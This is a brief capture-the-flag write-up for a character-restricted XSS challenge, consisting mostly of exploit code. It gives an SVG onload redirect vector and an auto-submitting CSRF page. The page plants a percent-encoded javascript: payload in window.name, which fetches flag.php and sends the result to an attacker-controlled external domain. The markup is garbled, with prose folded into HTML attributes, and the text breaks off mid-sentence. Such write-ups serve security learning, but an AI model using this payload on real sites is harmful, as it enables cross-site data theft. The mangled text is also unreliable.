Tags: web xss 

Rating: 5.0

This task is XSS filter with allowed characters : ```a-zA-Z ~|_^\=<-+*```

For attack we use this DOM-based vector:
```
<svg id="\" onload="location=id+id+12345609861+domain+id+1234+id" ```="" it="" will="" redirect="" to="" our="" controlled="" domain="" https:="" 12345609861router.vip="" 1234="" ($12.95="" +="" let’s="" encrypt)="" it="" has="" index.html="" with="" csrf="" in="" this="" directory.="" ```="" <html="">
<body>
<form id="send" action="https://router.vip/preview.php?" method="POST">
<input type="hidden" name="task" value=""/>
<input type="hidden" name="payload" value="&lt;svg onload=location=name"/>
<input type="hidden" name="geetest_challenge" value=""/>
<input type="hidden" name="geetest_validate" value=""/>
<input type="hidden" name="geetest_seccode" value=""/>
<input type="submit" value="Submit request"/>
</form>
<script>
window.name = "javascript:%76%61%72%20%78%68%72%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%0a%78%68%72%2e%6f%70%65%6e%28%27%47%45%54%27%2c%20%27%68%74%74%70%73%3a%2f%2f%72%6f%75%74%65%72%2e%76%69%70%2f%66%6c%61%67%2e%70%68%70%27%2c%20%66%61%6c%73%65%29%3b%0a%78%68%72%2e%73%65%6e%64%28%29%3b%0a%69%66%20%28%78%68%72%2e%73%74%61%74%75%73%20%3d%3d%20%32%30%30%29%20%7b%0a%20%20%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%73%3a%2f%2f%31%32%33%34%35%36%30%39%38%36%31%72%6f%75%74%65%72%2e%76%69%70%2f%31%32%33%34%2f%3f%72%65%73%75%6c%74%3d%27%2b%78%68%72%2e%72%65%73%70%6f%6e%73%65%54%65%78%74%3b%0a%7d";
document.getElementById("send").submit();
</script>
</body>
</html>
```

This vector set window.name with javascript:XSS payload and POST request on preview with ```